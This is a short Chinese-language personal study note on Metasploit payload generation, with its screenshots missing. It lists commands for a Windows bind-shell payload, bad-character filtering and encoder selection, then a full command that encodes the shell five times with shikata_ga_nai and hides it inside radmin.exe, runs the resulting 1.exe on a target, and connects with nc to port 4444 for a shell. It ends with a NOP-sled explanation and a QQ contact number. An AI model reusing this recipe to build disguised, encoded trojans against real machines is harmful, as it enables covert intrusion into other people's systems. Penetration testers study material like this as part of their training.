再学Metasploit

之前学习的Metasploit没有写笔记都忘掉了,这次叫完整的学习内容记录下来

payloads

exploit是指利用漏洞的一个过程,最终的目的是为了执行payloads
即使我们不使用payload直接发给目标进行执行也是可以实现执行payloads

演示

  1. 查看payloads
1
show payloads

在这里插入图片描述

  1. use payload/windows/shell_bind_tcp就拿个模块演示
    客户端运行 payloads就在本地监听端口叫攻击者去连接拿到shell
    下面就是他默认的配置,我们不需要修改
    在这里插入图片描述
    就可以生成payloads
    命令
1
generate

下面生成的是ruby的16进行的payloads
在这里插入图片描述
3. 生成出来的ruby的16进行的payloads里面可能有坏字符,导致程序不能执行
长被称为坏字符\x00
过滤坏字符的命令

1
generate -b "要过滤的字符"

可以看到没有了
发现文件变大了是应为编码后有可能1个字节变成2个字节了
在这里插入图片描述
发现他使用了encoder
他是默认去选择优秀的encoder
在这里插入图片描述
4. 选择encoders
查看有什么encoder
命令

1
show encoders

在这里插入图片描述
手动指定encoder
命令

1
generate -e x86/nonalpha

在这里插入图片描述
5. 生成payload
命令

1
generate -b '\x00' -f exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -o /1.exe

-b 指定要踢出的坏字符
-f 指定输出的格式
-e指定的encoders
-i 加密次数
-k 运行中不会产生新的进程
-x 要借宿到哪个程序上
-o 要生成的文件
在这里插入图片描述
在这里插入图片描述

被攻击端启动生成的1.exe

在这里插入图片描述
其实已经执行了木马病毒
在这里插入图片描述

kali的nc连接目标4444端口

在这里插入图片描述

其他补充NOP

NOP叫做no-operation 或 next operation
如果我们就像缓冲区溢出里面的能控制EIP寄存器(存储下一跳的CPU要执行的内存地址)的话,如果EIP寄存器(存储下一跳的CPU要执行的内存地址)不能准确到跳到准确的内存地址我们就可以用不NOP会执行而是往后滑,从而执行到要执行的部分
命令

1
generate -P 要滑的长度

QQ2737977997